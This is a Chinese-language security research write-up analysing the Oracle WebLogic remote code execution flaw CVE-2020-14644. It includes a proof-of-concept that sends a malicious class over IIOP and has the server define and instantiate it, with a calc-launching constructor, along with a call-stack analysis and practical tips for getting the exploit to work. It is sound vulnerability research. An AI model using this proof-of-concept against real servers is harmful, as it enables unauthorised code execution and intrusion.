Weblogic 远程命令执行漏洞（CVE-2020-14644）分析

作者：白帽汇安全研究院@Sp4rr0vv

核对：白帽汇安全研究院@r4v3zn

概述

2020 年 7 月 15 日，Oracle 发布大量安全修复补丁，其中 CVE-2020-14644 漏洞被评分为 9.8 分，影响版本为 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互联网公开的 POC 进行复现、分析，最终实现无任何限制的 defineClass + 实例化，进行实现 RCE。

前置知识

JDK 的 ClassLoader 类中有个方法是 defindClass ，可以根据类全限定名和类的字节数组，加载一个类到 jvm 中并返回对应的 Class 对象（随带一提，这种加载类的方式不会执行类初始化）。

所以只要参数 name（类名）和 b （类文件的二进制数据）可控，理论上我们可以加载任何类，需要注意的一点是，这个类名 name 一定要和这个类字节数组 b 中对于的类名一致才行，不然就是一个 NoClassDefFoundError

复现

环境

• Weblogic 12.2.1.4.0
• jdk 1.8.0_112
• Windows 10

首先准备一个带包名的恶意类，在构造函数中写入恶意代码

package com;

import java.io.IOException;

public class EvilObj {

    public EvilObj() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
        new ClassDefinition(classIdentity, ctClass.toBytecode()),
        new ob ject[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);

复现结果：

以下为简化版调用栈：

exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

漏洞分析

先看下几个关键的类的字段和构造函数，都是 coherence.jar 中的类

com.tangosol.internal.util.invoke.RemoteConstructor

com.tangosol.internal.util.invoke.ClassDefinition

com.tangosol.internal.util.invoke.ClassIdentity

com.tangosol.internal.util.invoke.RemotableSupport

com.tangosol.internal.util.invoke.ClassIdentity 的构造构造方法可以将 Class 作为参数，然后进行提取该类的一些特征信息，例如 package、ba seName、Version等信息，其中 Version 表示该类文件的内容 MD5 值，然后转换为 Hex。

所以 getName() = package + "/" + ba seName + "$" + version

com.tangosol.internal.util.invoke.ClassDefinition 中 classname 和 byte[] 都有了，而 RemoteConstructor 持有 ClassDefinition 类型的引用，RemotableSupport 继承了 ClassLoader，具有加载类的功能。

最后看下关键的几个调用栈：

重点在 RemotableSupport.realize 中进行处理，其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

在 RemotableSupport 中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。

首先是每次调用 realize 时会先在缓存中查找 ClassDefinition

而 ClassIdentity 重写了equals方法，所以如果恶意类的内容没有什么变化的话，会将 Class 对应的 ClassIdentity 在第一次使用时的 id 作为 key，内容作为 value 存入缓存，之后每次都会返回第一次加的 Class 的 name 的 ClassDefinition。

执行 this.registerIfAbsent(constructor.getDefinition()) 之后通过 ClassDefinition.getRemotableClass 进行获取 m_clz，第一次流入时内容值为 null （其中不仅是因为在 ClassDefinition 的构造函数中没有为该字段赋值的语句，更重要的是这个字段是 transient 修饰的），然后通过调用 defineClass 进行加载恶意类字节码。

由于 RemotableSupport 继承了 ClassLoader，所以它的 defineClass 就是调用了父类的 defineClass 来加载类，但是有意思的是他所生成类名的逻辑，是前面所说的 ClassIdentity.getname() = package + "/" + ba seName + "$" + version，所以 ClassIdentity 中的字节数组 byte[] 中的对应的 Class 的类名必须为 package + "." + ba seName + "$" + version，否则可能会面临加载失败的问题。

还有一个有意思的地方是 RemotableSupport.defineClass 这个函数所返回的是一个泛型

还刚好是 ClassDefinition.setRemotableClass 的参数类型一致

这意味着，这个ClassDefinition中的类字节数组byte[]内容不需要进行继承Remotable

而且显而易见，ClassDefinition.setRemotableClass 的作用就是为ClassDefinition 的两个 transient 字段赋值

这要求ClassDefinition所代表的类的构造函数必须只有一个，参数有无，没有任何影响，m_mhCtor字段的类型为MethodHandle，是 JDK7 的新特性，是另一套反射 api 中的类，在 ClassDefinition 这个类中对应于构造函数。

当流入 ClassDefinition.createInstance 后会进行调用构造方法将 aoArgs 作为参数进行实例化对象，由于我们的恶意代码是写在构造方法中的，所以当实例化之后会进行执行恶意代码。

实际利用

综述，整体的思路为，构造一个带有包名类，恶意代码写进构造函数中就行，然后通过 javassist 进行动态修改类名，将原类名追加 $ 和 version 值，在实战利用中可能会出现以下问题。

为啥要带包名？

因为ClassIdentity的构造函数中有下面这个链式调用，不带包名getPackage()会返回null，再往下调用就会空指针异常

Class 版本问题

在利用的过程中常常会出现，由于 JDK 版本问题无法正常利用问题。

1. 可以通过在编译获取恶意类时加入 -source 1.6 -target 1.6 参数指定编译版本。
2. 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。

序列化 ID 问题

由于 Weblogic 版本的变化，coherence.jar 文件中的 serialVersionUID 可能会出现不一致的问题，通过分析测试得出以下结论 12.2.1.3.0 与 12.2.1.4.0、14.1.1.0.0 的 serialVersionUID 不同，以下为详细测试的结果：

该问题可通过 URLClassLoader 进行动态加载处理以下为部分核心代码（摘自 weblogic-fr amework）：

参考

• CVE-2020-14644 分析与 gadget 的一些思考
• https://www.oracle.com/security-alerts/cpujul2020.html